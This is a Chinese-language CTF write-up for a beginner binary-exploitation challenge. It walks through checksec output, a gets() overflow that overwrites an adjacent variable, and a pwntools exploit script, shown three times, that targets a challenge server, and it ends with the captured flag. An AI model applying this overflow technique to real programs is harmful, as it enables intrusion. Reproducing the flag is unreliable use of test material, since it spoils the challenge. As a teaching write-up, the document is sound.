手殘博主因在27日從根地址誤刪了自己兩年半設定和使用的kali虛擬機器器。。。在一步步恢復環境設定的時候,從頭到尾刷一遍題,總結思路。
開啟場景後,伺服器端會開啟對應的埠,並在埠上部署和附件相同的ELF二進位制可執行檔案,我們要做的就是下載附件並在本地進行反組合,反編譯等操作分析程式漏洞,從而利用漏洞獲取題目的flag。
從描述中可以看出當前程式是要進行年齡的輸入操作的,有輸入操作,還是在新手村,那麼大概率是gets()等C函數輸入漏洞,進一步猜測是普通的記憶體地址覆蓋的題。
checksec的常用命令是:checksec [filename] ,也就是checksec後面加上你的程式;
也可以用gdb外掛中的checksec來監測,gdb中直接checksec就可以了,如下:
checksec可以檢查程式保護機制,從而檢視題目開啟了哪些保護機制,有助於對題目的初步分析。
Arch:程式位數(檢視是多少位的程式,比如32或64位元),也可以檢視是哪個微處理器,比如i386為32位元微處理器,amd64為64位元微處理器(x86架構的延伸產品,稱為x86-64,後改名為AMD64);
RELRO:設定符號重定向表格為唯讀或在程式啟動時就解析並繫結所有動態符號,從而減少對GOT(Global Offset Table)攻擊。RELEO為"Partial RELRO",說明我們對GOT表有寫許可權。
Stack:棧溢位監測,檢視程式是否開啟了Canary防護(一種對函數棧的監測保護:還沒等到棧溢位,先返回canary word,從而監測棧溢位情況)。
NX :No-eXecute(不可執行),相等於windows的DEP(系統記憶體保護),就是將攻擊者構造的payload和shellcode(一般為系統遠端執行命令)所在的記憶體頁標識為不可執行,當攻擊程式碼想要以資料程式碼偽裝成可執行程式碼時,就會被檢測到,從而使CPU丟擲異常,從而不執行惡意指令。
PIE:記憶體地址空間分佈隨機化(ASLR:address space layout randomization)
從checksec檢測中可以看出
在main函數上按F5進入虛擬碼:
C語言中gets()函數漏洞:gets()函數的緩衝區使用者無法指定其一次最多讀入多少位元組的內容,非常適用於二進位制溢位攻擊。
可以看到輸入v4後接下來就是v5的地址,通過手殘博主下面的圖瞭解一下攻擊思路:
程式的關鍵是:只要V5=1926,就可以得到flag,但是之前限制了v5的輸入,不可以直接輸入1926,不然就會告訴你「You Cannot Born In 1926!」
圖一中畫的是一個記憶體棧,我們可以通過圖二的方式,將gets()函數不限制輸入位元組的漏洞,用輸入的v4來覆蓋v5的值,從而達到V5=1926的目的。
檢視v4和v5的記憶體空間後,我們計算出他們之間的記憶體空間大小為0x20-0x18,所以只要我們將其中填充髒資料,構建payload就可以實現溢位攻擊了。
好了,現在思路清晰,我們來構建我們的exp攻擊指令碼。
from pwn import *
context(os='linux',arch="amd64",log_level="debug") //規範程式設計
content=0 //使程式判定是攻本地程式還是遠端伺服器
def main():
if content == 1: //攻本地
peiqi = process("when_did_you_born") //process啟動程式互動,用於程式碼顯示和後期偵錯
else:
peiqi = remote("220.249.52.133",53770) //remote啟動網際網路主機互動,同上
payload = b'a' * (0x20-0x18) + p64(1926) //因為py3中預設不是位元流,所以要用'b'來進行型別轉換,
peiqi.recvuntil("What's Your Birth?\n") //
peiqi.sendline("1900")
peiqi.recvuntil("What's Your Name?\n")
peiqi.sendline(payload)
peiqi.interactive()
main()
content = 1就是pwn本地:
from pwn import *
context(os='linux',arch="amd64",log_level="debug") //規範程式設計
content=1 //使程式判定是攻本地程式還是遠端伺服器
def main():
if content == 1: //攻本地
peiqi = process("when_did_you_born") //process啟動程式互動,用於程式碼顯示和後期偵錯
else:
peiqi = remote("220.249.52.133",53770) //remote啟動網際網路主機互動,同上
payload = b'a' * (0x20-0x18) + p64(1926) //因為py3中預設不是位元流,所以要用'b'來進行型別轉換,
peiqi.recvuntil("What's Your Birth?\n") //
peiqi.sendline("1900")
peiqi.recvuntil("What's Your Name?\n")
peiqi.sendline(payload)
peiqi.interactive()
main()
因為你的本地程式並沒有flag,所以這裡顯示cat:沒有找到,說明你的exp基本上已經編寫成功,現在只要將content修改為0就可以pwn遠端了
from pwn import *
context(os='linux',arch="amd64",log_level="debug") //規範程式設計
content=0 //使程式判定是攻本地程式還是遠端伺服器
def main():
if content == 1: //攻本地
peiqi = process("when_did_you_born") //process啟動程式互動,用於程式碼顯示和後期偵錯
else:
peiqi = remote("220.249.52.133",53770) //remote啟動網際網路主機互動,同上
payload = b'a' * (0x20-0x18) + p64(1926) //因為py3中預設不是位元流,所以要用'b'來進行型別轉換,
peiqi.recvuntil("What's Your Birth?\n") //
peiqi.sendline("1900")
peiqi.recvuntil("What's Your Name?\n")
peiqi.sendline(payload)
peiqi.interactive()
main()
成功pwn到flag:cyberpeace{d7df95708ccde55963d5553eaa5d0b03}
一道很簡單的pwn題。